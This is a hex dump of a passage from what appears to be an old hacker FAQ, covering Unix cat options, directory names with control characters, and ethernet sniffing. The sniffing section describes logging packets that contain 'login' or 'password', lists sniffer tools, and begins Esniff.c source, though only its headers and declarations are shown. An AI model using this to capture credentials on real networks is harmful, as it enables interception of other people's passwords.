|000053d0| 61 72 61 63 74 65 72 73 | 20 28 77 69 74 68 20 74 |aracters| (with t|
|000053e0| 68 65 20 68 69 67 68 20 | 62 69 74 20 73 65 74 29 |he high |bit set)|
|000053f0| 20 61 72 65 20 70 72 69 | 6e 74 65 64 20 61 73 20 | are pri|nted as |
|00005400| 4d 20 2d 78 2c 20 77 68 | 65 72 65 0a 09 78 20 69 |M -x, wh|ere..x i|
|00005410| 73 20 74 68 65 20 63 68 | 61 72 61 63 74 65 72 20 |s the ch|aracter |
|00005420| 73 70 65 63 69 66 69 65 | 64 20 62 79 20 74 68 65 |specifie|d by the|
|00005430| 20 73 65 76 65 6e 20 6c | 6f 77 20 6f 72 64 65 72 | seven l|ow order|
|00005440| 20 62 69 74 73 2e 0a 0a | 20 20 20 20 2d 74 20 20 | bits...| -t |
|00005450| 43 61 75 73 65 73 20 74 | 61 62 73 20 74 6f 20 62 |Causes t|abs to b|
|00005460| 65 20 70 72 69 6e 74 65 | 64 20 61 73 20 5e 49 20 |e printe|d as ^I |
|00005470| 61 6e 64 20 66 6f 72 6d | 20 66 65 65 64 73 20 61 |and form| feeds a|
|00005480| 73 20 5e 4c 2e 20 20 54 | 68 69 73 0a 09 6f 70 74 |s ^L. T|his..opt|
|00005490| 69 6f 6e 20 69 73 20 69 | 67 6e 6f 72 65 64 20 69 |ion is i|gnored i|
|000054a0| 66 20 74 68 65 20 2d 76 | 20 6f 70 74 69 6f 6e 20 |f the -v| option |
|000054b0| 69 73 20 6e 6f 74 20 73 | 70 65 63 69 66 69 65 64 |is not s|pecified|
|000054c0| 2e 0a 0a 20 20 20 20 2d | 65 20 20 43 61 75 73 65 |... -|e Cause|
|000054d0| 73 20 61 20 60 60 24 27 | 27 20 63 68 61 72 61 63 |s a ``$'|' charac|
|000054e0| 74 65 72 20 74 6f 20 62 | 65 20 70 72 69 6e 74 65 |ter to b|e printe|
|000054f0| 64 20 61 74 20 74 68 65 | 20 65 6e 64 20 6f 66 20 |d at the| end of |
|00005500| 65 61 63 68 20 6c 69 6e | 65 0a 09 28 70 72 69 6f |each lin|e..(prio|
|00005510| 72 20 74 6f 20 74 68 65 | 20 6e 65 77 2d 6c 69 6e |r to the| new-lin|
|00005520| 65 29 2e 20 20 54 68 69 | 73 20 6f 70 74 69 6f 6e |e). Thi|s option|
|00005530| 20 69 73 20 69 67 6e 6f | 72 65 64 20 69 66 20 74 | is igno|red if t|
|00005540| 68 65 20 2d 76 0a 09 6f | 70 74 69 6f 6e 20 69 73 |he -v..o|ption is|
|00005550| 20 6e 6f 74 20 73 65 74 | 2e 0a 0a 49 66 20 74 68 | not set|...If th|
|00005560| 65 20 64 69 72 65 63 74 | 6f 72 79 20 6e 61 6d 65 |e direct|ory name|
|00005570| 20 69 6e 63 6c 75 64 65 | 73 20 61 20 3c 53 50 41 | include|s a <SPA|
|00005580| 43 45 3e 20 6f 72 20 61 | 20 3c 54 41 42 3e 20 79 |CE> or a| <TAB> y|
|00005590| 6f 75 20 77 69 6c 6c 20 | 6e 65 65 64 20 74 6f 0a |ou will |need to.|
|000055a0| 65 6e 63 6c 6f 73 65 20 | 74 68 65 20 65 6e 74 69 |enclose |the enti|
|000055b0| 72 65 20 64 69 72 65 63 | 74 6f 72 79 20 6e 61 6d |re direc|tory nam|
|000055c0| 65 20 69 6e 20 71 75 6f | 74 65 73 2e 20 20 45 78 |e in quo|tes. Ex|
|000055d0| 61 6d 70 6c 65 3a 0a 0a | 63 64 20 22 2e 2e 3c 54 |ample:..|cd "..<T|
|000055e0| 41 42 3e 22 0a 0a 4f 6e | 20 61 6e 20 49 42 4d 2d |AB>"..On| an IBM-|
|000055f0| 50 43 2c 20 79 6f 75 20 | 6d 61 79 20 65 6e 74 65 |PC, you |may ente|
|00005600| 72 20 74 68 65 73 65 20 | 73 70 65 63 69 61 6c 20 |r these |special |
|00005610| 63 68 61 72 61 63 74 65 | 72 73 20 62 79 20 68 6f |characte|rs by ho|
|00005620| 6c 64 69 6e 67 20 64 6f | 77 6e 0a 74 68 65 20 3c |lding do|wn.the <|
|00005630| 41 4c 54 3e 20 6b 65 79 | 20 61 6e 64 20 65 6e 74 |ALT> key| and ent|
|00005640| 65 72 69 6e 67 20 74 68 | 65 20 64 65 63 69 6d 61 |ering th|e decima|
|00005650| 6c 20 76 61 6c 75 65 20 | 6f 66 20 74 68 65 20 73 |l value |of the s|
|00005660| 70 65 63 69 61 6c 20 63 | 68 61 72 61 63 74 65 72 |pecial c|haracter|
|00005670| 0a 6f 6e 20 79 6f 75 72 | 20 6e 75 6d 65 72 69 63 |.on your| numeric|
|00005680| 20 6b 65 79 70 61 64 2e | 20 20 57 68 65 6e 20 79 | keypad.| When y|
|00005690| 6f 75 20 72 65 6c 65 61 | 73 65 20 74 68 65 20 3c |ou relea|se the <|
|000056a0| 41 4c 54 3e 20 6b 65 79 | 2c 20 74 68 65 20 73 70 |ALT> key|, the sp|
|000056b0| 65 63 69 61 6c 0a 63 68 | 61 72 61 63 74 65 72 20 |ecial.ch|aracter |
|000056c0| 73 68 6f 75 6c 64 20 61 | 70 70 65 61 72 20 6f 6e |should a|ppear on|
|000056d0| 20 79 6f 75 72 20 73 63 | 72 65 65 6e 2e 20 20 41 | your sc|reen. A|
|000056e0| 6e 20 41 53 43 49 49 20 | 63 68 61 72 74 20 63 61 |n ASCII |chart ca|
|000056f0| 6e 20 62 65 20 76 65 72 | 79 0a 68 65 6c 70 66 75 |n be ver|y.helpfu|
|00005700| 6c 2e 0a 0a 53 6f 6d 65 | 74 69 6d 65 73 20 70 65 |l...Some|times pe|
|00005710| 6f 70 6c 65 20 77 69 6c | 6c 20 63 72 65 61 74 65 |ople wil|l create|
|00005720| 20 64 69 72 65 63 74 6f | 72 69 65 73 20 77 69 74 | directo|ries wit|
|00005730| 68 20 73 6f 6d 65 20 6f | 66 20 74 68 65 20 73 74 |h some o|f the st|
|00005740| 61 6e 64 61 72 64 0a 73 | 74 74 79 20 63 6f 6e 74 |andard.s|tty cont|
|00005750| 72 6f 6c 20 63 68 61 72 | 61 63 74 65 72 73 20 69 |rol char|acters i|
|00005760| 6e 20 74 68 65 6d 2c 20 | 73 75 63 68 20 61 73 20 |n them, |such as |
|00005770| 5e 5a 20 28 73 75 73 70 | 65 6e 64 29 20 6f 72 20 |^Z (susp|end) or |
|00005780| 5e 43 20 28 69 6e 74 72 | 29 2e 0a 54 6f 20 67 65 |^C (intr|)..To ge|
|00005790| 74 20 69 6e 74 6f 20 74 | 68 6f 73 65 20 64 69 72 |t into t|hose dir|
|000057a0| 65 63 74 6f 72 69 65 73 | 2c 20 79 6f 75 20 77 69 |ectories|, you wi|
|000057b0| 6c 6c 20 66 69 72 73 74 | 20 6e 65 65 64 20 74 6f |ll first| need to|
|000057c0| 20 75 73 65 72 20 73 74 | 74 79 20 74 6f 0a 63 68 | user st|ty to.ch|
|000057d0| 61 6e 67 65 20 74 68 65 | 20 63 6f 6e 74 72 6f 6c |ange the| control|
|000057e0| 20 63 68 61 72 61 63 74 | 65 72 20 69 6e 20 71 75 | charact|er in qu|
|000057f0| 73 74 69 6f 6e 20 74 6f | 20 61 6e 6f 74 68 65 72 |stion to| another|
|00005800| 20 63 68 61 72 61 63 74 | 65 72 2e 0a 0a 46 72 6f | charact|er...Fro|
|00005810| 6d 20 74 68 65 20 6d 61 | 6e 20 70 61 67 65 20 66 |m the ma|n page f|
|00005820| 6f 72 20 73 74 74 79 3a | 0a 0a 20 20 20 20 43 6f |or stty:|.. Co|
|00005830| 6e 74 72 6f 6c 20 61 73 | 73 69 67 6e 6d 65 6e 74 |ntrol as|signment|
|00005840| 73 0a 0a 20 20 20 20 63 | 6f 6e 74 72 6f 6c 2d 63 |s.. c|ontrol-c|
|00005850| 68 61 72 61 63 74 65 72 | 20 43 0a 20 20 20 20 20 |haracter| C. |
|00005860| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005870| 20 53 65 74 73 20 63 6f | 6e 74 72 6f 6c 2d 63 68 | Sets co|ntrol-ch|
|00005880| 61 72 61 63 74 65 72 20 | 74 6f 20 43 2c 20 77 68 |aracter |to C, wh|
|00005890| 65 72 65 20 63 6f 6e 74 | 72 6f 6c 2d 63 68 61 72 |ere cont|rol-char|
|000058a0| 61 63 74 65 72 20 69 73 | 0a 20 20 20 20 20 20 20 |acter is|. |
|000058b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 65 | | e|
|000058c0| 72 61 73 65 2c 20 6b 69 | 6c 6c 2c 20 69 6e 74 72 |rase, ki|ll, intr|
|000058d0| 20 28 69 6e 74 65 72 72 | 75 70 74 29 2c 20 71 75 | (interr|upt), qu|
|000058e0| 69 74 2c 20 65 6f 66 2c | 20 65 6f 6c 2c 20 73 77 |it, eof,| eol, sw|
|000058f0| 74 63 68 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |tch. | |
|00005900| 20 20 20 20 20 20 20 20 | 20 20 28 73 77 69 74 63 | | (switc|
|00005910| 68 29 2c 20 73 74 61 72 | 74 2c 20 73 74 6f 70 20 |h), star|t, stop |
|00005920| 6f 72 20 73 75 73 70 2e | 0a 0a 20 20 20 20 20 20 |or susp.|.. |
|00005930| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005940| 73 74 61 72 74 20 61 6e | 64 20 73 74 6f 70 20 61 |start an|d stop a|
|00005950| 72 65 20 61 76 61 69 6c | 61 62 6c 65 20 61 73 20 |re avail|able as |
|00005960| 70 6f 73 73 69 62 6c 65 | 20 63 6f 6e 74 72 6f 6c |possible| control|
|00005970| 20 63 68 61 72 2d 0a 20 | 20 20 20 20 20 20 20 20 | char-. | |
|00005980| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 61 63 74 | | act|
|00005990| 65 72 73 20 66 6f 72 20 | 74 68 65 20 63 6f 6e 74 |ers for |the cont|
|000059a0| 72 6f 6c 2d 63 68 61 72 | 61 63 74 65 72 20 43 20 |rol-char|acter C |
|000059b0| 61 73 73 69 67 6e 6d 65 | 6e 74 2e 0a 0a 20 20 20 |assignme|nt... |
|000059c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000059d0| 20 20 20 49 66 20 43 20 | 69 73 20 70 72 65 63 65 | If C |is prece|
|000059e0| 64 65 64 20 62 79 20 61 | 20 63 61 72 65 74 20 28 |ded by a| caret (|
|000059f0| 5e 29 20 28 65 73 63 61 | 70 65 64 20 66 72 6f 6d |^) (esca|ped from|
|00005a00| 20 74 68 65 0a 20 20 20 | 20 20 20 20 20 20 20 20 | the. | |
|00005a10| 20 20 20 20 20 20 20 20 | 20 20 20 73 68 65 6c 6c | | shell|
|00005a20| 29 2c 20 74 68 65 6e 20 | 74 68 65 20 76 61 6c 75 |), then |the valu|
|00005a30| 65 20 75 73 65 64 20 69 | 73 20 74 68 65 20 63 6f |e used i|s the co|
|00005a40| 72 72 65 73 70 6f 6e 64 | 69 6e 67 20 63 6f 6e 2d |rrespond|ing con-|
|00005a50| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00005a60| 20 20 20 20 20 20 20 74 | 72 6f 6c 20 63 68 61 72 | t|rol char|
|00005a70| 61 63 74 65 72 20 28 66 | 6f 72 20 65 78 61 6d 70 |acter (f|or examp|
|00005a80| 6c 65 2c 20 5e 44 20 69 | 73 20 61 20 3c 43 74 72 |le, ^D i|s a <Ctr|
|00005a90| 6c 3e 64 3b 20 5e 3f 20 | 69 73 0a 20 20 20 20 20 |l>d; ^? |is. |
|00005aa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005ab0| 20 69 6e 74 65 72 70 72 | 65 74 65 64 20 61 73 20 | interpr|eted as |
|00005ac0| 44 45 4c 45 54 45 20 61 | 6e 64 20 5e 2d 20 69 73 |DELETE a|nd ^- is|
|00005ad0| 20 69 6e 74 65 72 70 72 | 65 74 65 64 20 61 73 20 | interpr|eted as |
|00005ae0| 75 6e 64 65 2d 0a 20 20 | 20 20 20 20 20 20 20 20 |unde-. | |
|00005af0| 20 20 20 20 20 20 20 20 | 20 20 20 20 66 69 6e 65 | | fine|
|00005b00| 64 29 2e 0a 0a 55 73 65 | 20 74 68 65 20 73 74 74 |d)...Use| the stt|
|00005b10| 79 20 2d 61 20 63 6f 6d | 6d 61 6e 64 20 74 6f 20 |y -a com|mand to |
|00005b20| 73 65 65 20 79 6f 75 72 | 20 63 75 72 72 65 6e 74 |see your| current|
|00005b30| 20 73 74 74 79 20 73 65 | 74 74 69 6e 67 73 2c 20 | stty se|ttings, |
|00005b40| 61 6e 64 20 74 6f 0a 64 | 65 74 65 72 6d 69 6e 65 |and to.d|etermine|
|00005b50| 20 77 68 69 63 68 20 6f | 6e 65 20 69 73 20 63 61 | which o|ne is ca|
|00005b60| 75 73 69 6e 67 20 79 6f | 75 20 70 72 6f 62 6c 65 |using yo|u proble|
|00005b70| 6d 73 2e 0a 0a 0a 31 37 | 2e 20 57 68 61 74 20 69 |ms....17|. What i|
|00005b80| 73 20 65 74 68 65 72 6e | 65 74 20 73 6e 69 66 66 |s ethern|et sniff|
|00005b90| 69 6e 67 3f 0a 0a 45 74 | 68 65 72 6e 65 74 20 73 |ing?..Et|hernet s|
|00005ba0| 6e 69 66 66 69 6e 67 20 | 69 73 20 6c 69 73 74 65 |niffing |is liste|
|00005bb0| 6e 69 6e 67 20 28 77 69 | 74 68 20 73 6f 66 74 77 |ning (wi|th softw|
|00005bc0| 61 72 65 29 20 74 6f 20 | 74 68 65 20 72 61 77 20 |are) to |the raw |
|00005bd0| 65 74 68 65 72 6e 65 74 | 0a 64 65 76 69 63 65 20 |ethernet|.device |
|00005be0| 66 6f 72 20 70 61 63 6b | 65 74 73 20 74 68 61 74 |for pack|ets that|
|00005bf0| 20 69 6e 74 65 72 65 73 | 74 20 79 6f 75 2e 20 20 | interes|t you. |
|00005c00| 57 68 65 6e 20 79 6f 75 | 72 20 73 6f 66 74 77 61 |When you|r softwa|
|00005c10| 72 65 20 73 65 65 73 20 | 61 0a 70 61 63 6b 65 74 |re sees |a.packet|
|00005c20| 20 74 68 61 74 20 66 69 | 74 73 20 63 65 72 74 61 | that fi|ts certa|
|00005c30| 69 6e 20 63 72 69 74 65 | 72 69 61 2c 20 69 74 20 |in crite|ria, it |
|00005c40| 6c 6f 67 73 20 69 74 20 | 74 6f 20 61 20 66 69 6c |logs it |to a fil|
|00005c50| 65 2e 20 20 54 68 65 20 | 6d 6f 73 74 0a 63 6f 6d |e. The |most.com|
|00005c60| 6d 6f 6e 20 63 72 69 74 | 65 72 69 61 20 66 6f 72 |mon crit|eria for|
|00005c70| 20 61 6e 20 69 6e 74 65 | 72 65 73 74 69 6e 67 20 | an inte|resting |
|00005c80| 70 61 63 6b 65 74 20 69 | 73 20 6f 6e 65 20 74 68 |packet i|s one th|
|00005c90| 61 74 20 63 6f 6e 74 61 | 69 6e 73 20 77 6f 72 64 |at conta|ins word|
|00005ca0| 73 0a 6c 69 6b 65 20 22 | 6c 6f 67 69 6e 22 20 6f |s.like "|login" o|
|00005cb0| 72 20 22 70 61 73 73 77 | 6f 72 64 2e 22 0a 0a 4d |r "passw|ord."..M|
|00005cc0| 61 6e 79 20 65 74 68 65 | 72 6e 65 74 20 73 6e 69 |any ethe|rnet sni|
|00005cd0| 66 66 65 72 73 20 61 72 | 65 20 61 76 61 69 6c 61 |ffers ar|e availa|
|00005ce0| 62 6c 65 2c 20 68 65 72 | 65 20 61 72 65 20 61 20 |ble, her|e are a |
|00005cf0| 66 65 77 20 74 68 61 74 | 20 6d 61 79 20 62 65 20 |few that| may be |
|00005d00| 6f 6e 0a 79 6f 75 72 20 | 73 79 73 74 65 6d 20 6e |on.your |system n|
|00005d10| 6f 77 3a 0a 0a 4f 53 20 | 20 20 20 20 20 20 20 20 |ow:..OS | |
|00005d20| 20 20 20 20 20 53 6e 69 | 66 66 65 72 0a 7e 7e 20 | Sni|ffer.~~ |
|00005d30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 7e 7e 7e | | ~~~|
|00005d40| 7e 7e 7e 7e 0a 48 50 2f | 55 58 20 20 20 20 20 20 |~~~~.HP/|UX |
|00005d50| 20 20 20 20 20 6e 65 74 | 74 6c 20 28 6d 6f 6e 69 | net|tl (moni|
|00005d60| 74 6f 72 29 20 26 20 6e | 65 74 66 6d 74 20 28 64 |tor) & n|etfmt (d|
|00005d70| 69 73 70 6c 61 79 29 0a | 20 20 20 20 20 20 20 20 |isplay).| |
|00005d80| 20 20 20 20 20 20 20 20 | 6e 66 73 77 61 74 63 68 | |nfswatch|
|00005d90| 20 20 20 20 20 20 20 20 | 2f 2a 20 41 76 61 69 6c | |/* Avail|
|00005da0| 61 62 6c 65 20 76 69 61 | 20 61 6e 6f 6e 79 6d 6f |able via| anonymo|
|00005db0| 75 73 20 66 74 70 20 20 | 20 20 20 20 20 20 20 20 |us ftp | |
|00005dc0| 20 2a 2f 0a 49 72 69 78 | 20 20 20 20 20 20 20 20 | */.Irix| |
|00005dd0| 20 20 20 20 6e 66 73 77 | 61 74 63 68 20 20 20 20 | nfsw|atch |
|00005de0| 20 20 20 20 2f 2a 20 41 | 76 61 69 6c 61 62 6c 65 | /* A|vailable|
|00005df0| 20 76 69 61 20 61 6e 6f | 6e 79 6d 6f 75 73 20 66 | via ano|nymous f|
|00005e00| 74 70 20 20 20 20 20 20 | 20 20 20 20 20 2a 2f 0a |tp | */.|
|00005e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005e20| 45 74 68 65 72 6d 61 6e | 0a 53 75 6e 4f 53 20 20 |Etherman|.SunOS |
|00005e30| 20 20 20 20 20 20 20 20 | 20 65 74 68 65 72 66 69 | | etherfi|
|00005e40| 6e 64 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |nd. | |
|00005e50| 20 20 20 6e 66 73 77 61 | 74 63 68 20 20 20 20 20 | nfswa|tch |
|00005e60| 20 20 20 2f 2a 20 41 76 | 61 69 6c 61 62 6c 65 20 | /* Av|ailable |
|00005e70| 76 69 61 20 61 6e 6f 6e | 79 6d 6f 75 73 20 66 74 |via anon|ymous ft|
|00005e80| 70 20 20 20 20 20 20 20 | 20 20 20 20 2a 2f 0a 53 |p | */.S|
|00005e90| 6f 6c 61 72 69 73 20 20 | 20 20 20 20 20 20 20 73 |olaris | s|
|00005ea0| 6e 6f 6f 70 0a 44 4f 53 | 20 20 20 20 20 20 20 20 |noop.DOS| |
|00005eb0| 20 20 20 20 20 45 54 48 | 4c 4f 41 44 20 20 20 20 | ETH|LOAD |
|00005ec0| 20 20 20 20 20 2f 2a 20 | 41 76 61 69 6c 61 62 6c | /* |Availabl|
|00005ed0| 65 20 76 69 61 20 61 6e | 6f 6e 79 6d 6f 75 73 20 |e via an|onymous |
|00005ee0| 66 74 70 20 61 73 20 20 | 20 20 20 20 20 20 2a 2f |ftp as | */|
|00005ef0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00005f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005f10| 20 2f 2a 20 65 74 68 6c | 64 31 30 34 2e 7a 69 70 | /* ethl|d104.zip|
|00005f20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005f30| 20 20 20 20 20 20 20 20 | 20 20 2a 2f 0a 20 20 20 | | */. |
|00005f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 54 68 65 | | The|
|00005f50| 20 47 6f 62 62 6c 65 72 | 20 20 20 20 20 2f 2a 20 | Gobbler| /* |
|00005f60| 41 76 61 69 6c 61 62 6c | 65 20 76 69 61 20 61 6e |Availabl|e via an|
|00005f70| 6f 6e 79 6d 6f 75 73 20 | 66 74 70 20 20 20 20 20 |onymous |ftp |
|00005f80| 20 20 20 20 20 20 2a 2f | 0a 20 20 20 20 20 20 20 | */|. |
|00005f90| 20 20 20 20 20 20 20 20 | 20 4c 61 6e 50 61 74 72 | | LanPatr|
|00005fa0| 6f 6c 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ol. | |
|00005fb0| 20 20 20 4c 61 6e 57 61 | 74 63 68 0a 09 09 4e 65 | LanWa|tch...Ne|
|00005fc0| 74 6d 6f 6e 0a 20 20 20 | 20 20 20 20 20 20 20 20 |tmon. | |
|00005fd0| 20 20 20 20 20 4e 65 74 | 77 61 74 63 68 0a 20 20 | Net|watch. |
|00005fe0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 4e 65 | | Ne|
|00005ff0| 74 7a 68 61 63 6b 20 20 | 20 20 20 20 20 20 2f 2a |tzhack | /*|
|00006000| 20 41 76 61 69 6c 61 62 | 6c 65 20 76 69 61 20 61 | Availab|le via a|
|00006010| 6e 6f 6e 79 6d 6f 75 73 | 20 66 74 70 20 61 74 20 |nonymous| ftp at |
|00006020| 20 20 20 20 20 20 20 2a | 2f 0a 20 20 20 20 20 20 | *|/. |
|00006030| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006040| 20 20 20 20 20 20 20 20 | 20 20 2f 2a 20 6d 69 73 | | /* mis|
|00006050| 74 72 65 73 73 2e 69 6e | 66 6f 72 6d 61 74 69 6b |tress.in|formatik|
|00006060| 2e 75 6e 69 62 77 2d 6d | 75 65 6e 63 68 65 6e 2e |.unibw-m|uenchen.|
|00006070| 64 65 20 2a 2f 0a 20 20 | 20 20 20 20 20 20 20 20 |de */. | |
|00006080| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006090| 20 20 20 20 20 20 2f 2a | 20 2f 70 75 62 2f 6e 65 | /*| /pub/ne|
|000060a0| 74 7a 68 61 63 6b 2e 6d | 61 63 20 20 20 20 20 20 |tzhack.m|ac |
|000060b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 2a | | *|
|000060c0| 2f 0a 4d 61 63 69 6e 74 | 6f 73 68 20 20 20 20 20 |/.Macint|osh |
|000060d0| 20 20 45 74 68 65 72 70 | 65 65 6b 0a 0a 48 65 72 | Etherp|eek..Her|
|000060e0| 65 20 69 73 20 73 6f 75 | 72 63 65 20 63 6f 64 65 |e is sou|rce code|
|000060f0| 20 66 6f 72 20 61 6e 20 | 65 74 68 65 72 6e 65 74 | for an |ethernet|
|00006100| 20 73 6e 69 66 66 65 72 | 3a 0a 0a 2f 2a 20 45 73 | sniffer|:../* Es|
|00006110| 6e 69 66 66 2e 63 20 2a | 2f 0a 0a 23 69 6e 63 6c |niff.c *|/..#incl|
|00006120| 75 64 65 20 3c 73 74 64 | 69 6f 2e 68 3e 0a 23 69 |ude <std|io.h>.#i|
|00006130| 6e 63 6c 75 64 65 20 3c | 63 74 79 70 65 2e 68 3e |nclude <|ctype.h>|
|00006140| 0a 23 69 6e 63 6c 75 64 | 65 20 3c 73 74 72 69 6e |.#includ|e <strin|
|00006150| 67 2e 68 3e 0a 0a 23 69 | 6e 63 6c 75 64 65 20 3c |g.h>..#i|nclude <|
|00006160| 73 79 73 2f 74 69 6d 65 | 2e 68 3e 0a 23 69 6e 63 |sys/time|.h>.#inc|
|00006170| 6c 75 64 65 20 3c 73 79 | 73 2f 66 69 6c 65 2e 68 |lude <sy|s/file.h|
|00006180| 3e 0a 23 69 6e 63 6c 75 | 64 65 20 3c 73 79 73 2f |>.#inclu|de <sys/|
|00006190| 73 74 72 6f 70 74 73 2e | 68 3e 0a 23 69 6e 63 6c |stropts.|h>.#incl|
|000061a0| 75 64 65 20 3c 73 79 73 | 2f 73 69 67 6e 61 6c 2e |ude <sys|/signal.|
|000061b0| 68 3e 0a 23 69 6e 63 6c | 75 64 65 20 3c 73 79 73 |h>.#incl|ude <sys|
|000061c0| 2f 74 79 70 65 73 2e 68 | 3e 0a 23 69 6e 63 6c 75 |/types.h|>.#inclu|
|000061d0| 64 65 20 3c 73 79 73 2f | 73 6f 63 6b 65 74 2e 68 |de <sys/|socket.h|
|000061e0| 3e 0a 23 69 6e 63 6c 75 | 64 65 20 3c 73 79 73 2f |>.#inclu|de <sys/|
|000061f0| 69 6f 63 74 6c 2e 68 3e | 0a 0a 23 69 6e 63 6c 75 |ioctl.h>|..#inclu|
|00006200| 64 65 20 3c 6e 65 74 2f | 69 66 2e 68 3e 0a 23 69 |de <net/|if.h>.#i|
|00006210| 6e 63 6c 75 64 65 20 3c | 6e 65 74 2f 6e 69 74 5f |nclude <|net/nit_|
|00006220| 69 66 2e 68 3e 0a 23 69 | 6e 63 6c 75 64 65 20 3c |if.h>.#i|nclude <|
|00006230| 6e 65 74 2f 6e 69 74 5f | 62 75 66 2e 68 3e 0a 23 |net/nit_|buf.h>.#|
|00006240| 69 6e 63 6c 75 64 65 20 | 3c 6e 65 74 2f 69 66 5f |include |<net/if_|
|00006250| 61 72 70 2e 68 3e 0a 0a | 23 69 6e 63 6c 75 64 65 |arp.h>..|#include|
|00006260| 20 3c 6e 65 74 69 6e 65 | 74 2f 69 6e 2e 68 3e 0a | <netine|t/in.h>.|
|00006270| 23 69 6e 63 6c 75 64 65 | 20 3c 6e 65 74 69 6e 65 |#include| <netine|
|00006280| 74 2f 69 66 5f 65 74 68 | 65 72 2e 68 3e 0a 23 69 |t/if_eth|er.h>.#i|
|00006290| 6e 63 6c 75 64 65 20 3c | 6e 65 74 69 6e 65 74 2f |nclude <|netinet/|
|000062a0| 69 6e 5f 73 79 73 74 6d | 2e 68 3e 0a 23 69 6e 63 |in_systm|.h>.#inc|
|000062b0| 6c 75 64 65 20 3c 6e 65 | 74 69 6e 65 74 2f 69 70 |lude <ne|tinet/ip|
|000062c0| 2e 68 3e 0a 23 69 6e 63 | 6c 75 64 65 20 3c 6e 65 |.h>.#inc|lude <ne|
|000062d0| 74 69 6e 65 74 2f 75 64 | 70 2e 68 3e 0a 23 69 6e |tinet/ud|p.h>.#in|
|000062e0| 63 6c 75 64 65 20 3c 6e | 65 74 69 6e 65 74 2f 69 |clude <n|etinet/i|
|000062f0| 70 5f 76 61 72 2e 68 3e | 0a 23 69 6e 63 6c 75 64 |p_var.h>|.#includ|
|00006300| 65 20 3c 6e 65 74 69 6e | 65 74 2f 75 64 70 5f 76 |e <netin|et/udp_v|
|00006310| 61 72 2e 68 3e 0a 23 69 | 6e 63 6c 75 64 65 20 3c |ar.h>.#i|nclude <|
|00006320| 6e 65 74 69 6e 65 74 2f | 69 6e 5f 73 79 73 74 6d |netinet/|in_systm|
|00006330| 2e 68 3e 0a 23 69 6e 63 | 6c 75 64 65 20 3c 6e 65 |.h>.#inc|lude <ne|
|00006340| 74 69 6e 65 74 2f 74 63 | 70 2e 68 3e 0a 23 69 6e |tinet/tc|p.h>.#in|
|00006350| 63 6c 75 64 65 20 3c 6e | 65 74 69 6e 65 74 2f 69 |clude <n|etinet/i|
|00006360| 70 5f 69 63 6d 70 2e 68 | 3e 0a 0a 23 69 6e 63 6c |p_icmp.h|>..#incl|
|00006370| 75 64 65 20 3c 6e 65 74 | 64 62 2e 68 3e 0a 23 69 |ude <net|db.h>.#i|
|00006380| 6e 63 6c 75 64 65 20 3c | 61 72 70 61 2f 69 6e 65 |nclude <|arpa/ine|
|00006390| 74 2e 68 3e 0a 0a 23 64 | 65 66 69 6e 65 20 45 52 |t.h>..#d|efine ER|
|000063a0| 52 20 73 74 64 65 72 72 | 0a 0a 63 68 61 72 20 20 |R stderr|..char |
|000063b0| 20 20 2a 6d 61 6c 6c 6f | 63 28 29 3b 0a 63 68 61 | *mallo|c();.cha|
|000063c0| 72 20 20 20 20 2a 64 65 | 76 69 63 65 2c 0a 20 20 |r *de|vice,. |
|000063d0| 20 20 20 20 20 20 2a 50 | 72 6f 67 4e 61 6d 65 2c | *P|rogName,|
|000063e0| 0a 20 20 20 20 20 20 20 | 20 2a 4c 6f 67 4e 61 6d |. | *LogNam|
|000063f0| 65 3b 0a 46 49 4c 45 20 | 20 20 20 2a 4c 4f 47 3b |e;.FILE | *LOG;|
+--------+-------------------------+-------------------------+--------+--------+
Only 25.0 KB of data is shown above.